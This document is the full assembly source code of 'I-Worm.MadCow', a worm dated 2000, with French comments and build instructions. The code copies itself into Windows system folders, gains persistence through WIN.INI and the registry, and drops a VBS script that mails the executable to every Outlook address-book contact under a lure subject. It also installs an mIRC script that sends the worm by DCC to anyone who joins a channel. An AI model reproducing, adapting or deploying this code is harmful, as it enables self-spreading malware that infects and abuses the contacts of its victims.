comment *               ///// I-Worm.MadCow par PetiK /////       25/11/2000

Pour assembler :        tasm32 /M /ML madcow.asm
                        tlink32 -Tpe -aa -x madcow.obj,,,import32.lib *

jumps
locals
.386
.model flat,stdcall

;KERNEL32.dll
extrn lstrcat:PROC
extrn WritePrivateProfileStringA:PROC
extrn CloseHandle:PROC
extrn CopyFileA:PROC
extrn CreateDirectoryA:PROC
extrn CreateFileA:PROC
extrn DeleteFileA:PROC
extrn ExitProcess:PROC
extrn GetModuleFileNameA:PROC
extrn GetModuleHandleA:PROC
extrn GetSystemDirectoryA:PROC
extrn GetWindowsDirectoryA:PROC
extrn MoveFileA:PROC
extrn WinExec:PROC
extrn WriteFile:PROC

;ADVAPI32.dll
extrn RegSetValueExA:PROC
extrn RegCreateKeyExA:PROC
extrn RegCloseKey:PROC

.data
regDisp dd 0
regResu dd 0
l       dd 0
p       dd 0
fh      dd 0
octets  dd ?
szOrig  db 260 dup (0)
szOrig2 db 260 dup (0)
szCopie db 260 dup (0)
szCopi2 db 260 dup (0)
szCico  db 260 dup (0)
szWin   db 260 dup (0)
Dossier db "C:\Win32",00h
fichier db "C:\Win32\Salut.ico",00h
Copico  db "\MSLS.ICO",00h
Copie   db "\Wininet32.exe",00h
Copie2  db "\MadCow.exe",00h
BATFILE db "C:\Win32\ENVOIE.BAT",00h
VBSFILE db "C:\Win32\ENVOIE.VBS",00h
Winini  db "\\WIN.INI",00h
run     db "run",00h
windows db "windows",00h
fileini db "C:\Win32\script.ini",00h
Copie3  db "C:\Win32\MadCow.exe",00h
script1 db "C:\mirc\script.ini",00h
script2 db "C:\mirc32\script.ini",00h
script3 db "C:\program files\mirc\script.ini",00h
script4 db "C:\program files\mirc32\script.ini",00h
CLE     db "Software\[Atchoum]",00h
CLE2    db "\exefile\DefaultIcon",00h
Signature       db "IWorm.MadCow par PetiK (c)2000"

vbsd:
db 'DEBUT()',0dh,0ah
db 'Sub DEBUT()',0dh,0ah
db 'EMAIL()',0dh,0ah
db 'End Sub',0dh,0ah
db '',0dh,0ah
db 'Sub EMAIL()',0dh,0ah
db 'Set K = CreateObject("Outlook.Application")',0dh,0ah
db 'Set L = K.GetNameSpace("MAPI")',0dh,0ah
db 'For Each M In L.AddressLists',0dh,0ah
db 'If M.AddressEntries.Count <> 0 Then',0dh,0ah
db 'Set N = K.CreateItem(0)',0dh,0ah
db 'For O = 1 To M.AddressEntries.Count',0dh,0ah
db 'Set P = M.AddressEntries(O)',0dh,0ah
db 'If O = 1 Then',0dh,0ah
db 'N.BCC = P.Address',0dh,0ah
db 'Else',0dh,0ah
db 'N.BCC = N.BCC & "; " & P.Address',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'N.Subject = "Pourquoi les vaches sont-elles folles ?"',0dh,0ah
db 'N.Body = "Voila un rapport expliquant la folie des vaches"',0dh,0ah
db 'Set Q = CreateObject("Scripting.FileSystemObject")',0dh,0ah
db 'N.Attachments.Add Q.BuildPath(Q.GetSpecialFolder(0),"MadCow.exe")',0dh,0ah
db 'N.Send',0dh,0ah
db 'End If',0dh,0ah
db 'Next',0dh,0ah
db 'End Sub',0dh,0ah
vbstaille equ $-vbsd

batd:
db '@echo off',0dh,0ah
db 'start C:\Win32\ENVOIE.VBS',0dh,0ah
battaille equ $-batd

inid:
db "[script]",0dh,0ah
db "n0=on 1:JOIN:#:{",0dh,0ah
db "n1= /if ( $nick == $me ) { halt }",0dh,0ah
db "n2= /.dcc send $nick C:\Win32\MadCow.exe",0dh,0ah
db "n3=}",00h
initaille equ $-inid

include icone.inc

.code
DEBUT:
VERIF:  mov  eax,offset CLE             ; V‚rifie si il existe une cl‚
        call REG                        ; [Atchoum] dans HKLM\Software.
        cmp  [regDisp],1                ; Si elle n'y est pas, 
        jne  INIFILE                     ; on installe les composants

COPIE:  push 0                          ; 
        call GetModuleHandleA           ;
        push 260                        ; 
        push offset szOrig              ;
        push eax                        ;
        call GetModuleFileNameA         ; Copie le fichier original
        push 260                        ;
        push offset szCopie             ;
        call GetSystemDirectoryA        ; dans le dossier SYSTEM
        push offset Copie               ;
        push offset szCopie             ;
        call lstrcat                    ; sous le nom de Wininet32.exe
        push 00h                        ;
        push offset szCopie             ;
        push offset szOrig              ;
        call CopyFileA                  ;
        push 260                        ; puis
        push offset szCopi2             ;
        call GetWindowsDirectoryA       ; … nouveau dans le dossier WINDOWS
        push offset Copie2              ;
        push offset szCopi2             ;
        call lstrcat                    ; sous le nom de MadCow.exe
        push 00h                        ;
        push offset szCopi2             ;
        push offset szOrig              ;
        call CopyFileA                  ;

WIN_INI:push 260                        ; Pour lancer le programme, on peut
        push offset szWin               ;
        call GetWindowsDirectoryA       ; utiliser la base de registre ou le 
        push offset Winini              ;
        push offset szWin               ; fichier WIN.INI dans le dossier
        call lstrcat                    ;
        push offset szWin               ; WINDOWS. La d‚marche est simple :
        push offset szCopie             ; [windows]
        push offset run                 ; run="nom du programme"
        push offset windows             ;
        call WritePrivateProfileStringA ;

DIR:    push 00h                        ; On cr‚e ici C:\Win32
        push offset Dossier             ;
        call CreateDirectoryA           ;
EMAIL  :push 00000000h                  ; On va cr‚er C:\Win32\ENVOIE.VBS
        push 00000080h                  ;
        push 00000002h                  ; 
        push 00000000h                  ;
        push 00000001h                  ;
        push 40000000h                  ;
        push offset VBSFILE             ;
        call CreateFileA                ;
        mov  [fh],eax                   ;
        push 00h                        ;
        push offset octets              ;
        push vbstaille                  ;
        push offset vbsd                ;
        push [fh]                       ;
        call WriteFile                  ;
        push [fh]                       ;
        call CloseHandle                ;
EXEC   :push 00000000h                  ; et C:\Win32\ENVOIE.BAT
        push 00000080h                  ;
        push 00000002h                  ; qui va ‚x‚cuter ENVOIE.VBS
        push 00000000h                  ;
        push 00000001h                  ;
        push 40000000h                  ;
        push offset BATFILE             ;
        call CreateFileA                ;
        mov  [fh],eax                   ;
        push 00h                        ;
        push offset octets              ;
        push battaille                  ;
        push offset batd                ;
        push [fh]                       ;
        call WriteFile                  ;
        push [fh]                       ;
        call CloseHandle                ;
        jmp  EXECBAT                    ;

REG:    push offset regDisp             ;
        push offset regResu             ;
        push 0                          ;
        push 0F003Fh                    ;
        push 0                          ;
        push 0                          ;
        push 0                          ;
        push eax                        ; Software\[Atchoum]
        push 80000002h                  ; HKEY_LOCAL_MACHINE
        call RegCreateKeyExA            ;
        push [regResu]                  ; met la valeur dans regResu
        call RegCloseKey                ;
        ret                             ;

INIFILE:push 00000000h                  ; On va cr‚er dans C:\Win32
        push 00000001h                  ;
        push 00000002h                  ; le fichier script.ini
        push 00000000h                  ;
        push 00000001h                  ; en lecture seul.
        push 40000000h                  ;
        push offset fileini             ;
        call CreateFileA                ;
        mov  [fh],eax                   ;
        push 00h                        ;
        push offset octets              ;
        push initaille                  ;
        push offset inid                ;
        push [fh]                       ;
        call WriteFile                  ;
        push [fh]                       ;
        call CloseHandle                ;

        push 00h                        ; On va copier ce fichier dans les
        push offset script1             ; r‚pertoire suivant :
        push offset fileini             ; 
        call CopyFileA                  ; C:\mirc C:\mirc32
        test eax,eax                    ; C:\program files\mirc et dans
        jnz  COPYWIN                    ; C:\program files\mirc32
        push 00h                        ;
        push offset script2             ; Si il arrive … se copier dans un
        push offset fileini             ; de ces fichier, il va cr‚er une
        call CopyFileA                  ; copie du programme dans C:\Win32
        test eax,eax                    ; le nom MadCow.exe
        jnz  COPYWIN                    ;
        push 00h                        ;
        push offset script3             ;
        push offset fileini             ;
        call CopyFileA                  ;
        test eax,eax                    ;
        jnz  COPYWIN                    ;
        push 00h                        ;
        push offset script4             ;
        push offset fileini             ;
        call CopyFileA                  ;
        test eax,eax                    ;
        jz   ICOFILE                    ;

COPYWIN:push 0                          ; 
        call GetModuleHandleA           ;
        push 260                        ; 
        push offset szOrig2             ;
        push eax                        ;
        call GetModuleFileNameA         ; Copie le fichier original
        push 00h                        ;
        push offset Copie3              ;
        push offset szOrig2             ;
        call CopyFileA                  ;
        jmp  FIN                        ;

ICOFILE:push 00000000h                  ; On va cr‚er … la base du disque
        push 00000080h                  ;
        push 00000002h                  ; dur le fichier Salut.ico
        push 00000000h                  ;
        push 00000001h                  ;
        push 40000000h                  ;
        push offset fichier             ;
        call CreateFileA                ;
        mov  [fh],eax                   ;
        push 00h                        ;
        push offset octets              ;
        push icotaille                  ;
        push offset icod                ;
        push [fh]                       ;
        call WriteFile                  ;
        push [fh]                       ;
        call CloseHandle                ;
        push 260                        ; On d‚place le fichier Salut.ico
        push offset szCico              ; 
        call GetSystemDirectoryA        ; dans le dossier SYSTEM sous
        push offset Copico              ; 
        push offset szCico              ; MSLS.ICO
        call lstrcat                    ; 
        push offset szCico              ;
        push offset fichier             ;
        call MoveFileA                  ; => c'est fait

REG2:   push offset l                   ;
        push offset p                   ;
        push 0                          ;
        push 1F0000h + 1 + 2h           ;
        push 0                          ;
        push 0                          ;
        push 0                          ;
        push offset CLE2                ; Run   
        push 80000000h                  ; HKEY_CLASSES_ROOT
        call RegCreateKeyExA            ;
        push 05h                        ;
        push offset szCico              ; %system%\MSLS.ico
        push 01h                        ;
        push 0                          ;
        push 00h                        ; VALEUR PAR DEFAUT                 
        push p                          ;
        call RegSetValueExA             ; CREE UN REGISTRE
        push 0                          ;
        call RegCloseKey                ; FERME LA BASE DE REGISTRE
        jmp  FIN                        ; PUIS TERMINE LE PROGRAMME

EXECBAT:push 01h                        ; On ‚x‚cute le fichier ENVOIE.BAT
        push offset BATFILE             ;
	call WinExec			;
FIN:    push 00h                        ; FIN DU PROGRAMME
        call ExitProcess                ;

end DEBUT

*************************************************************************

comment *

ICONE.INC pour I-Worm.MadCow
CE FICHIER EST LA FORME HEXADECIMAL DE L'ICONE QUE L'ON VEUT CREER
*

icod:
db 000h,000h,001h,000h,001h,000h,010h,010h,010h,000h,000h,000h,000h,000h
db 028h,001h,000h,000h,016h,000h,000h,000h,028h,000h,000h,000h,010h,000h
db 000h,000h,020h,000h,000h,000h,001h,000h,004h,000h,000h,000h,000h,000h
db 0C0h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,010h,000h
db 000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,000h,080h,000h
db 000h,080h,000h,000h,000h,080h,080h,000h,080h,000h,000h,000h,080h,000h
db 080h,000h,080h,080h,000h,000h,0C0h,0C0h,0C0h,000h,080h,080h,080h,000h
db 000h,000h,0FFh,000h,000h,0FFh,000h,000h,000h,0FFh,0FFh,000h,0FFh,000h
db 000h,000h,0FFh,000h,0FFh,000h,0FFh,0FFh,000h,000h,0FFh,0FFh,0FFh,000h
db 0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh,0F0h,000h,000h,000h,000h,000h
db 000h,00Fh,0F0h,000h,000h,000h,000h,000h,000h,00Fh,0F0h,000h,000h,00Fh
db 0FFh,000h,000h,00Fh,0F0h,000h,000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h
db 000h,0F0h,000h,0F0h,000h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
db 0F0h,000h,00Fh,000h,00Fh,00Fh,000h,00Fh,0F0h,000h,0F0h,0FFh,000h,0F0h
db 0F0h,00Fh,0F0h,000h,0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h
db 000h,00Fh,000h,00Fh,0F0h,000h,00Fh,0FFh,0FFh,0FFh,000h,00Fh,0F0h,000h
db 0F0h,000h,000h,000h,0F0h,00Fh,0F0h,000h,00Fh,000h,000h,00Fh,000h,00Fh
db 0F0h,000h,000h,000h,000h,000h,000h,00Fh,0FFh,0FFh,0FFh,0FFh,0FFh,0FFh
db 0FFh,0FFh,000h,000h,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,07Fh,0FEh,0FFh,0FFh
db 07Eh,03Eh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Dh,0DEh,0FFh,0FFh,07Bh,0EEh
db 0FFh,0FFh,07Bh,0AEh,0FFh,0FFh,074h,0D6h,0FFh,0FFh,077h,0F6h,0FFh,0FFh
db 07Bh,0EEh,0FFh,0FFh,078h,00Eh,0FFh,0FFh,077h,0F6h,0FFh,0FFh,07Bh,0EEh
db 0FFh,0FFh,07Fh,0FEh,0FFh,0FFh,000h,000h,0FFh,0FFh                    
icotaille equ $-icod
